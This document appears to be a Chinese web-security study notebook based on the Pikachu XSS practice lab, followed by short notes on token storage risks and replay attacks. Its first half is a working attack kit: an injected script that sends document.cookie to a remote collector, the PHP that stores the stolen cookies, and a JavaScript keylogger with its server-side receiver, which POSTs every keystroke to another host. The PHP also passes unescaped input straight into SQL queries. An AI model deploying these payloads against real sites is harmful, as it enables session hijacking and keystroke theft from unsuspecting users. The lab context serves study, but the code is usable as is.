- 获取cookie的注入
<script>document.location = 'http://192.168.208.145/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
cookie.php 代码
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
```bash
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站
?>
- 键盘记录的注入
<script src="http://192.168.208.146/pkxss/rkeypress/rk.js"></script>
rk.js代码
/**
* Created by runner on 2018/7/8.
*/
function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
var ajax=null;
var xl="datax=";
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}
document.onkeypress = onkeypress;
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
var postdate = xl;
ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
}
rkserver.php代码
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");
$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>
2020年3月25号
LocalStorage:
便利性:无法泛域储存,需开发者手动存取
使用方式:只能由 js 取出,加入特定请求头
安全性:避免了 csrf,但存在 xss 风险
httponly cookie:
便利性:可泛域储存,无需开发者手动存取
使用方式:只能遵循浏览器默认行为,js 无法获取 token
安全性:避免了 xss,但存在 csrf 风险
cookie:
便利性:可泛域储存,提供多种使用选择,比较复杂
使用方式:
可遵循浏览器行为,服务端也只需要验证 cookie
可用 js 取出,放入特定请求头;服务端验证特定请求头
安全性:
遵循浏览器默认行为,则同时存在 xss 和 csrf 风险
使用 js 取出,使用请求头认证,可避免 csrf,但同样存在 xss 风险
2020/3/26
重发攻击
- 原理编辑
重放攻击的基本原理就是把以前窃听到的数据原封不动地重新发送给接收方。很多时候,网络上传输的数据是加密过的,此时窃听者无法得到数据的准确意义。但如果他知道这些数据的作用,就可以在不知道数据内容的情况下通过再次发送这些数据达到愚弄接收端的目的。例如,有的系统会将鉴别信息进行简单加密后进行传输,这时攻击者虽然无法窃听密码,但他们却可以首先截取加密后的口令然后将其重放,从而利用这种方式进行有效的攻击。再比如,假设网上存款系统中,一条消息表示用户支取了一笔存款,攻击者完全可以多次发送这条消息而偷窃存款。 [2]